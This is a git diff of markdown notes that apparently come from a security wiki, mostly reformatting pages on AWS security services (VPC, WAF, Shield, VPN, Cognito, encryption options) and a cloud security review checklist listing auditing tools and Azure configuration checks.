Macie to identify critical, sensitive, and security focused data such as API keys, secret keys, in addition to PII (personally identifiable information) and PHI data. This is useful to avoid data leaks as Macie will detect if you are exposing people information to the Internet. @@ -643,8 +643,8 @@ The user has the possibility to create new custom alerts. * Root: Request made by root user * IAM user: Request made by IAM user -* Assumed Role: Request made by temporary assumed credentials \(AssumeRole API for STS\) -* Federated User: Request made using temporary credentials \(GetFederationToken API fro STS\) +* Assumed Role: Request made by temporary assumed credentials (AssumeRole API for STS) +* Federated User: Request made using temporary credentials (GetFederationToken API fro STS) * AWS Account: Request made by a different AWS account * AWS Service: Request made by an AWS service @@ -693,25 +693,25 @@ Limitations: * Traffic relating to an Amazon Windows activation license from a Windows instance * Traffic between a network load balancer interface and an endpoint network interface -For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**. +For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these** logs captures data during a window of approximately 10 to 15 minutes**. -![](../.gitbook/assets/image%20%28432%29.png) +![](<../.gitbook/assets/image (432).png>) -![](../.gitbook/assets/image%20%28433%29.png) +![](<../.gitbook/assets/image (433).png>) ### Subnets -Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure. -Valid CIDR are from a /16 netmask to a /28 netmask. +Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure.\ +Valid CIDR are from a /16 netmask to a /28 netmask.\ A subnet cannot be in different availability zones at the same time. By having **multiple Subnets with similar resources grouped together**, it allows for greater security management. By implementing **network level virtual firewalls,** called network access control lists, or **NACLs**, it's possible to **filter traffic** on specific ports from both an ingress and egress point at the Subnet level. -When you create a subnet the **network** and **broadcast address** of the subnet **can't be used** for host addresses and **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. +When you create a subnet the **network **and **broadcast address **of the subnet **can't be used** for host addresses and **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.** -In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. This Internet gateway is a managed service, controlled, configured, and maintained by AWS. It scales horizontally automatically, and is classified as a highly valuable component of your VPC infrastructure. Once your Internet gateway is attached to your VPC, you have a gateway to the Internet. However, at this point, your instances have no idea how to get out to the Internet. As a result, you need to add a default route to the route table associated with your subnet. The route could have a **destination value of 0.0. 0. 0/0, and the target value will be set as your Internet gateway ID**. +In order to make a subnet public you need to **create **and **attach **an **Internet gateway** to your VPC. This Internet gateway is a managed service, controlled, configured, and maintained by AWS. It scales horizontally automatically, and is classified as a highly valuable component of your VPC infrastructure. Once your Internet gateway is attached to your VPC, you have a gateway to the Internet. However, at this point, your instances have no idea how to get out to the Internet. As a result, you need to add a default route to the route table associated with your subnet. The route could have a **destination value of 0.0. 0. 0/0, and the target value will be set as your Internet gateway ID**. By default, all subnets have the automatic assigned of public IP addresses turned off but it can be turned on. @@ -721,10 +721,10 @@ If you are **connection a subnet with a different subnet you cannot access the s ### VPC Peering -VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network. +VPC peering allows you to** connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network. -Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used. -If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together. +Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As** peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\ +If you have** overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\ Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.** ## AWS Secrets Manager @@ -741,16 +741,16 @@ To allow a user form a different account to access your secret you need to autho ## EMR -EMR is a managed service by AWS and is comprised of a **cluster of EC2 instances that's highly scalable** to process and run big data frameworks such Apache Hadoop and Spark. +EMR is a managed service by AWS and is comprised of a** cluster of EC2 instances that's highly scalable** to process and run big data frameworks such Apache Hadoop and Spark. -From EMR version 4.8.0 and onwards, we have the ability to create a **security configuration** specifying different settings on **how to manage encryption for your data within your clusters**. You can either encrypt your data at rest, data in transit, or if required, both together. The great thing about these security configurations is they're not actually a part of your EC2 clusters. +From EMR version 4.8.0 and onwards, we have the ability to create a** security configuration** specifying different settings on **how to manage encryption for your data within your clusters**. You can either encrypt your data at rest, data in transit, or if required, both together. The great thing about these security configurations is they're not actually a part of your EC2 clusters. One key point of EMR is that **by default, the instances within a cluster do not encrypt data at rest**. Once enabled, the following features are available. -* **Linux Unified Key Setup:** EBS cluster volumes can be encrypted using this method whereby you can specify AWS **KMS** to be used as your key management provider, or use a custom key provider. +* **Linux Unified Key Setup:** EBS cluster volumes can be encrypted using this method whereby you can specify AWS **KMS **to be used as your key management provider, or use a custom key provider. * **Open-Source HDFS encryption:** This provides two Hadoop encryption options. Secure Hadoop RPC which would be set to privacy which uses simple authentication security layer, and data encryption of HDFS Block transfer which would be set to true to use the AES-256 algorithm. -From an encryption in transit perspective, you could enable **open source transport layer security** encryption features and select a certificate provider type which can be either PEM where you will need to manually create PEM certificates, bundle them up with a zip file and then reference the zip file in S3 or custom where you would add a custom certificate provider as a Java class that provides encryption artefacts. +From an encryption in transit perspective, you could enable **open source transport layer security **encryption features and select a certificate provider type which can be either PEM where you will need to manually create PEM certificates, bundle them up with a zip file and then reference the zip file in S3 or custom where you would add a custom certificate provider as a Java class that provides encryption artefacts. Once the TLS certificate provider has been configured in the security configuration file, the following encryption applications specific encryption features can be enabled which will vary depending on your EMR version. @@ -761,15 +761,15 @@ Once the TLS certificate provider has been configured in the security configurat ## RDS - Relational Database Service -RDS allows you to set up a **relational database** using a number of **different engines** such as MySQL, Oracle, SQL Server, etc. During the creation of your RDS database instance, you have the opportunity to **Enable Encryption at the Configure Advanced Settings** screen under Database Options and Enable Encryption. +RDS allows you to set up a **relational database **using a number of** different engines **such as MySQL, Oracle, SQL Server, etc. During the creation of your RDS database instance, you have the opportunity to **Enable Encryption at the Configure Advanced Settings** screen under Database Options and Enable Encryption. -By enabling your encryption here, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**. It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. +By enabling your encryption here, you are enabling** encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**. It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted. Amazon RDS **sends data to CloudWatch every minute by default.** -In addition to encryption offered by RDS itself at the application level, there are **additional platform level encryption mechanisms** that could be used for protecting data at rest including **Oracle and SQL Server Transparent Data Encryption**, known as TDE, and this could be used in conjunction with the method order discussed but it would **impact the performance** of the database MySQL cryptographic functions and Microsoft Transact-SQL cryptographic functions. +In addition to encryption offered by RDS itself at the application level, there are **additional platform level encryption mechanisms** that could be used for protecting data at rest including** Oracle and SQL Server Transparent Data Encryption**, known as TDE, and this could be used in conjunction with the method order discussed but it would** impact the performance** of the database MySQL cryptographic functions and Microsoft Transact-SQL cryptographic functions. If you want to use the TDE method, then you must first ensure that the database is associated to an option group. Option groups provide default settings for your database and help with management which includes some security features. However, option groups only exist for the following database engines and versions. @@ -777,7 +777,7 @@ Once the database is associated with an option group, you must ensure that the O ## Amazon Kinesis Firehouse -Amazon Firehose is used to deliver **real-time streaming data to different services** and destinations within AWS, many of which can be used for big data such as S3 Redshift and Amazon Elasticsearch. +Amazon Firehose is used to deliver **real-time streaming data to different services **and destinations within AWS, many of which can be used for big data such as S3 Redshift and Amazon Elasticsearch. The service is fully managed by AWS, taking a lot of the administration of maintenance out of your hands. Firehose is used to receive data from your data producers where it then automatically delivers the data to your chosen destination. @@ -785,9 +785,9 @@ Amazon Streams essentially collects and processes huge amounts of data in real t This data can come from a variety of different sources. For example, log data from the infrastructure, social media, web clicks during feeds, market data, etc. So now we have a high-level overview of each of these. We need to understand how they implement encryption of any data process in stored should it be required. -When clients are **sending data to Kinesis in transit**, the data can be sent over **HTTPS**, which is HTTP with SSL encryption. However, once it enters the Kinesis service, it is then unencrypted by default. Using both **Kinesis Streams and Firehose encryption, you can assure your streams remain encrypted up until the data is sent to its final destination.** As **Amazon Streams** now has the ability to implement SSE encryption using KMS to **encrypt data as it enters the stream** directly from the producers. +When clients are **sending data to Kinesis in transit**, the data can be sent over **HTTPS**, which is HTTP with SSL encryption. However, once it enters the Kinesis service, it is then unencrypted by default. Using both **Kinesis Streams and Firehose encryption, you can assure your streams remain encrypted up until the data is sent to its final destination. **As **Amazon Streams **now has the ability to implement SSE encryption using KMS to **encrypt data as it enters the stream** directly from the producers. -If Amazon **S3** is used as a **destination**, Firehose can implement encryption using **SSE-KMS on S3**. +If Amazon **S3 **is used as a **destination**, Firehose can implement encryption using **SSE-KMS on S3**. As a part of this process, it's important to ensure that both producer and consumer applications have permissions to use the KMS key. Otherwise encryption and decryption will not be possible, and you will receive an unauthorized KMS master key permission error. @@ -837,28 +837,28 @@ So there are a number of essential components relating to WAF, these being: Cond ### Conditions -Conditions allow you to specify **what elements of the incoming HTTP or HTTPS request you want WAF to be monitoring** \(XSS, GEO - filtering by location-, IP address, Size constraints, SQL Injection attacks, strings and regex matching\). Note that if you are restricting a country from cloudfront, this request won't arrive to the waf. +Conditions allow you to specify **what elements of the incoming HTTP or HTTPS request you want WAF to be monitoring** (XSS, GEO - filtering by location-, IP address, Size constraints, SQL Injection attacks, strings and regex matching). Note that if you are restricting a country from cloudfront, this request won't arrive to the waf. -You can have **100 conditions of each type**, such as Geo Match or size constraints, however **Regex** is the **exception** to this rule where **only 10 Regex** conditions are allowed but this limit is possible to increase. You are able to have **100 rules and 50 Web ACLs per AWS account**. You are limited to **5 rate-based-rules** per account. Finally you can have **10,000 requests per second** when **using WAF** within your application load balancer. +You can have** 100 conditions of each type**, such as Geo Match or size constraints, however **Regex** is the **exception **to this rule where **only 10 Regex** conditions are allowed but this limit is possible to increase. You are able to have **100 rules and 50 Web ACLs per AWS account**. You are limited to **5 rate-based-rules **per account. Finally you can have **10,000 requests per second **when **using WAF** within your application load balancer. ### Rules -Using these conditions you can create rules: For example, block request if 2 conditions are met. +Using these conditions you can create rules: For example, block request if 2 conditions are met.\ When creating your rule you will be asked to select a **Rule Type**: **Regular Rule** or **Rate-Based Rule**. -The only **difference** between a rate-based rule and a regular rule is that **rate-based** rules **count** the **number** of **requests** that are being received from a particular IP address over a time period of **five minutes**. +The only **difference **between a rate-based rule and a regular rule is that **rate-based** rules **count **the **number **of **requests **that are being received from a particular IP address over a time period of **five minutes**. -When you select a rate-based rule option, you are asked to **enter the maximum number of requests from a single IP within a five minute time frame**. When the count limit is **reached**, **all other requests from that same IP address is then blocked**. If the request rate falls back below the rate limit specified the traffic is then allowed to pass through and is no longer blocked. When setting your rate limit it **must be set to a value above 2000**. Any request under this limit is considered a Regular Rule. +When you select a rate-based rule option, you are asked to **enter the maximum number of requests from a single IP within a five minute time frame**. When the count limit is **reached**,** all other requests from that same IP address is then blocked**. If the request rate falls back below the rate limit specified the traffic is then allowed to pass through and is no longer blocked. When setting your rate limit it **must be set to a value above 2000**. Any request under this limit is considered a Regular Rule. ### Actions -An action is applied to each rule, these actions can either be **Allow**, **Block** or **Count**. +An action is applied to each rule, these actions can either be **Allow**, **Block **or **Count**. -* When a request is **allowed**, it is **forwarded** onto the relevant CloudFront distribution or Application Load Balancer. -* When a request is **blocked**, the request is **terminated** there and no further processing of that request is taken. -* A **Count** action will **count the number of requests that meet the conditions** within that rule. This is a really good option to select when testing the rules to ensure that the rule is picking up the requests as expected before setting it to either Allow or Block. +* When a request is **allowed**, it is **forwarded **onto the relevant CloudFront distribution or Application Load Balancer. +* When a request is **blocked**, the request is **terminated **there and no further processing of that request is taken. +* A **Count **action will **count the number of requests that meet the conditions** within that rule. This is a really good option to select when testing the rules to ensure that the rule is picking up the requests as expected before setting it to either Allow or Block. -If an **incoming request does not meet any rule** within the Web ACL then the request takes the action associated to a **default action** specified which can either be **Allow** or **Block**. An important point to make about these rules is that they are **executed in the order that they are listed within a Web ACL**. So be careful to architect this order correctly for your rule base, **typically** these are **ordered** as shown: +If an **incoming request does not meet any rule** within the Web ACL then the request takes the action associated to a** default action** specified which can either be **Allow **or **Block**. An important point to make about these rules is that they are **executed in the order that they are listed within a Web ACL**. So be careful to architect this order correctly for your rule base, **typically **these are **ordered **as shown: 1. WhiteListed Ips as Allow. 2. BlackListed IPs Block @@ -872,21 +872,21 @@ WAF CloudWatch metrics are reported **in one minute intervals by default** and a AWS Firewall Manager simplifies your administration and maintenance tasks across multiple accounts and resources for **AWS WAF, AWS Shield Advanced, Amazon VPC security groups, and AWS Network Firewall**. With Firewall Manager, you set up your AWS WAF firewall rules, Shield Advanced protections, Amazon VPC security groups, and Network Firewall firewalls just once. The service **automatically applies the rules and protections across your accounts and resources**, even as you add new resources. -It can **group and protect specific resources together**, for example, all resources with a particular tag or all of your CloudFront distributions. One key benefit of Firewall Manager is that it **automatically protects certain resources that are added** to your account as they become active. +It can **group and protect specific resources together**, for example, all resources with a particular tag or all of your CloudFront distributions. One key benefit of Firewall Manager is that it** automatically protects certain resources that are added** to your account as they become active. **Requisites**: Created a Firewall Manager Master Account, setup an AWS organization and have added our member accounts and enable AWS Config. -A **rule group** \(a set of WAF rules together\) can be added to an AWS Firewall Manager Policy which is then associated to AWS resources, such as your cloudfront distributions or application load balances. +A **rule group** (a set of WAF rules together) can be added to an AWS Firewall Manager Policy which is then associated to AWS resources, such as your cloudfront distributions or application load balances. -**Firewall Manager policies only allow "Block" or "Count"** options for a rule group \(no "Allow" option\). +**Firewall Manager policies only allow "Block" or "Count"** options for a rule group (no "Allow" option). ## AWS Shield AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS. -**AWS Shield Standard** is **free** to everyone, and it offers DDoS **protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. +**AWS Shield Standard** is **free **to everyone, and it offers DDoS **protection **against some of the more common layer three, the **network layer**, and layer four,** transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. -**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. +**AWS Shield advanced** offers a** greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.** @@ -899,10 +899,9 @@ Whereas the Standard version of Shield offered protection against layer three an #### Concepts * **VPN connection**: A secure connection between your on-premises equipment and your VPCs. -* **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. - - Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. +* **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. + Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. * **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device. * **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection. * **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. @@ -917,51 +916,50 @@ In addition, take the following into consideration when you use Site-to-Site VPN * When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks. -### Components of Client VPN +### Components of Client VPN **Connect from your machine to your VPC** #### Concepts -* **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated. -* **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone. +* **Client VPN endpoint: **The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated. +* **Target network: **A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone. * **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks. -* **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider \(IdP\) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks. -* **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session. -* **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`. -* **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443. -* **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation \(SNAT\) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address. -* **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues. -* **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client. +* **Authorization rules: **An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks. +* **Client: **The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session. +* **Client CIDR range: **An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`. +* **Client VPN ports: **AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443. +* **Client VPN network interfaces: **When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address. +* **Connection logging: **You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues. +* **Self-service portal: **You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client. #### Limitations * **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table. * Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.** -* A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint. -* The **client CIDR range cannot be changed** after you create the Client VPN endpoint. +* A **portion of the addresses** in the client CIDR range are used to** support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required **to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint. +* The** client CIDR range cannot be changed** after you create the Client VPN endpoint. * The **subnets** associated with a Client VPN endpoint **must be in the same VPC**. * You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**. * A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**. -* Client VPN supports **IPv4** traffic only. -* Client VPN is **not** Federal Information Processing Standards \(**FIPS**\) **compliant**. -* If multi-factor authentication \(MFA\) is disabled for your Active Directory, a user password cannot be in the following format. - - ```text - SCRV1:: - ``` +* Client VPN supports **IPv4 **traffic only. +* Client VPN is **not **Federal Information Processing Standards (**FIPS**) **compliant**. +* If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format. + ``` + SCRV1:: + ``` * The self-service portal is **not available for clients that authenticate using mutual authentication**. ## Amazon Cognito -Amazon Cognito provides **authentication, authorization, and user management** for your web and mobile apps. Your users can sign in directly with a **user name and password**, or through a **third party** such as Facebook, Amazon, Google or Apple. +Amazon Cognito provides **authentication, authorization, and user management** for your web and mobile apps. Your users can sign in directly with a **user name and password**, or through a** third party** such as Facebook, Amazon, Google or Apple. The two main components of Amazon Cognito are user pools and identity pools. **User pools** are user directories that provide **sign-up and sign-in options for your app users**. **Identity pools** enable you to grant your users **access to other AWS services**. You can use identity pools and user pools separately or together. ### **User pools** -A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider \(IdP\). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. +A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app **through Amazon Cognito, **or federate **through a **third-party **identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. User pools provide: @@ -969,7 +967,7 @@ User pools provide: * A built-in, customizable web UI to sign in users. * Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool. * User directory management and user profiles. -* Security features such as multi-factor authentication \(MFA\), checks for compromised credentials, account takeover protection, and phone and email verification. +* Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification. * Customized workflows and user migration through AWS Lambda triggers. ### **Identity pools** @@ -978,9 +976,8 @@ With an identity pool, your users can **obtain temporary AWS credentials to acce * Amazon Cognito user pools * Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple -* OpenID Connect \(OIDC\) providers +* OpenID Connect (OIDC) providers * SAML identity providers * Developer authenticated identities To save user profile information, your identity pool needs to be integrated with a user pool. - diff --git a/cloud-security/cloud-security-review.md b/cloud-security/cloud-security-review.md index fd09939d..ff311222 100644 --- a/cloud-security/cloud-security-review.md +++ b/cloud-security/cloud-security-review.md @@ -10,7 +10,7 @@ There are several tools that can be used to test different cloud environments. T AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure -```text +``` pip3 install scoutsuite ``` @@ -18,7 +18,7 @@ pip3 install scoutsuite AWS, GCP, Azure, DigitalOcean -```text +``` git clone https://github.com/SecurityFTW/cs-suite.git && cd cs-suite/ pip install virtualenv virtualenv -p python2.7 venv @@ -36,20 +36,20 @@ Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Offi Take a look to the **network access rules** and detect if the services are correctly protected: * ssh available from everywhere? -* Unencrypted services running \(telnet, http, ...\)? +* Unencrypted services running (telnet, http, ...)? * Unprotected admin consoles? * In general, check that all services are correctly protected depending on their needs ## Azure -Access the portal here: [http://portal.azure.com/](http://portal.azure.com/) +Access the portal here: [http://portal.azure.com/](http://portal.azure.com)\ To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**. -It is recommended to **install azure-cli** in a **linux** and **windows** virtual machines \(to be able to run powershell and python scripts\): [https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest) -Then, run `az login` to login. Note the **account information** and **token** will be **saved** inside _<HOME>/.azure_ \(in both Windows and Linux\). +It is recommended to **install azure-cli** in a **linux** and **windows** virtual machines (to be able to run powershell and python scripts): [https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest)\ +Then, run `az login` to login. Note the **account information** and **token** will be **saved** inside _\/.azure_ (in both Windows and Linux). -Remember that if the **Security Centre Standard Pricing Tier** is being used and **not** the **free** tier, you can **generate** a **CIS compliance scan report** from the azure portal. Go to _Policy & Compliance-> Regulatory Compliance_ \(or try to access [https://portal.azure.com/\#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/22](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/22)\). -\_\_If the company is not paying for a Standard account you may need to review the **CIS Microsoft Azure Foundations Benchmark** by "hand" \(you can get some help using the following tools\). Download it from [**here**](https://www.newnettechnologies.com/cis-benchmark.html?keyword=&gclid=Cj0KCQjwyPbzBRDsARIsAFh15JYSireQtX57C6XF8cfZU3JVjswtaLFJndC3Hv45YraKpLVDgLqEY6IaAhsZEALw_wcB#microsoft-azure). +Remember that if the **Security Centre Standard Pricing Tier** is being used and **not** the **free** tier, you can **generate** a **CIS compliance scan report** from the azure portal. Go to _Policy & Compliance-> Regulatory Compliance_ (or try to access [https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/22](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/22)).\ +\__If the company is not paying for a Standard account you may need to review the **CIS Microsoft Azure Foundations Benchmark** by "hand" (you can get some help using the following tools). Download it from [**here**](https://www.newnettechnologies.com/cis-benchmark.html?keyword=\&gclid=Cj0KCQjwyPbzBRDsARIsAFh15JYSireQtX57C6XF8cfZU3JVjswtaLFJndC3Hv45YraKpLVDgLqEY6IaAhsZEALw_wcB#microsoft-azure). ### Run scanners @@ -78,30 +78,29 @@ azscan #Run, login before with `az login` ### More checks -* Check for a **high number of Global Admin** \(between 2-4 are recommended\). Access it on: [https://portal.azure.com/\#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/Overview](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Overview) +* Check for a **high number of Global Admin** (between 2-4 are recommended). Access it on: [https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Overview](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Overview) * Global admins should have MFA activated. Go to Users and click on Multi-Factor Authentication button. -![](../.gitbook/assets/image%20%28281%29.png) +![](<../.gitbook/assets/image (293).png>) -* Dedicated admin account shouldn't have mailboxes \(they can only have mailboxes if they have Office 365\). -* Local AD shouldn't be sync with Azure AD if not needed\([https://portal.azure.com/\#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/AzureADConnect](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/AzureADConnect)\). And if synced Password Hash Sync should be enabled for reliability. In this case it's disabled: +* Dedicated admin account shouldn't have mailboxes (they can only have mailboxes if they have Office 365). +* Local AD shouldn't be sync with Azure AD if not needed([https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/AzureADConnect](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/AzureADConnect)). And if synced Password Hash Sync should be enabled for reliability. In this case it's disabled: -![](../.gitbook/assets/image%20%2852%29.png) +![](<../.gitbook/assets/image (294).png>) * **Global Administrators** shouldn't be synced from a local AD. Check if Global Administrators emails uses the domain **onmicrosoft.com**. If not, check the source of the user, the source should be Azure Active Directory, if it comes from Windows Server AD, then report it. -![](../.gitbook/assets/image%20%2889%29.png) +![](<../.gitbook/assets/image (295).png>) -* **Standard tier** is recommended instead of free tier \(see the tier being used in _Pricing & Settings_ or in [https://portal.azure.com/\#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/24](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/24)\) -* **Periodic SQL servers scans**: +* **Standard tier** is recommended instead of free tier (see the tier being used in _Pricing & Settings_ or in [https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/24](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/24)) +* **Periodic SQL servers scans**: - _Select the SQL server_ --> _Make sure that 'Advanced data security' is set to 'On'_ --> _Under 'Vulnerability assessment settings', set 'Periodic recurring scans' to 'On', and configure a storage account for storing vulnerability assessment scan results_ --> _Click Save_ - -* **Lack of App Services restrictions**: Look for "App Services" in Azure 